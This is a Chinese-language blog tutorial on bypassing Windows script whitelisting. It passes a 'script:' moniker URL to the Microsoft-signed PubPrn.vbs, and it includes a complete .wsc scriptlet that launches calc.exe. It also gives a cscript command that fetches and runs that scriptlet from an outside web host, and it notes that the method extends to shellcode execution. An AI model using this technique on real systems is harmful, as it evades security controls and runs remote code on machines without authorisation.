首页 > 代码库 > 利用script和scriptlet moniker绕过脚本白名单限制

利用script和scriptlet moniker绕过脚本白名单限制

没事儿看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演讲,觉得这两个猥琐男简直不能再猥琐了 :-)其中有一个猥琐小技巧,又可以让我们好好hunting一番了。我这里先简单介绍一下吧:

在很多时候我们发现我们在目标机器环境里想要运行个js或者vbs脚本很困难,原因就是因为好多环境里使用了白名单限制机制只允许特定签名的脚本文件可以执行。在这样的环境里,我们应该怎么样去执行这些脚本呢?

首先在windows 7以上系统中,有这样一个目录:c:\windows\system32\printing_admin_scripts\, 在这个目录下面会有一个文件夹,此文件夹的命名会根据系统的语言版本而有所不同(中文系统下是 zh-cn, 而英文为 en-US等),在这个文件夹下会有一些系统自带的vbs脚本,这些脚本都是有着微软签名的,也就是说肯定可以执行的。

 技术分享

 

在这些文件中,有一个文件叫做PubPrn.vbs,这个文件的代码中有这么几行:

 技术分享

 

 

这个脚本执行的时候会接受两个参数,第一个参数是一个网络地址,我们可以忽略它,随便填一个就ok。第二个参数会被传递给GetObject方法,而这个方法可以使用script和scriptlet 这两个moniker直接指定一个网络地址。因此利用方法如下:

编写如下测试脚本,并上传到一个web server上:

COM Scriptlet的示例

test.wsc:(这里是测试的一个弹出计算器的脚本)

<?xml version="1.0"?>

<package>

<component id="testCalc">

<script language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</component>

</package>

您还可以使用James Forshaw(@tiraniddo)的工具DotNetToJScript中COM Scriptlet中扩展JScript / VBScript,允许Win32 API访问,甚至Shellcode执行。

然后在目标机器上执行如下命令:

cscript     //b  c:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs  127.0.0.1  script:https://www.backlion.org/test.wsc

 技术分享

 

由于VBScript依靠COM来执行操作,因此它在许多Microsoft签名的脚本中被大量使用。虽然这只是一个例子,但一定会有其他可以以类似的方式被利用

利用script和scriptlet moniker绕过脚本白名单限制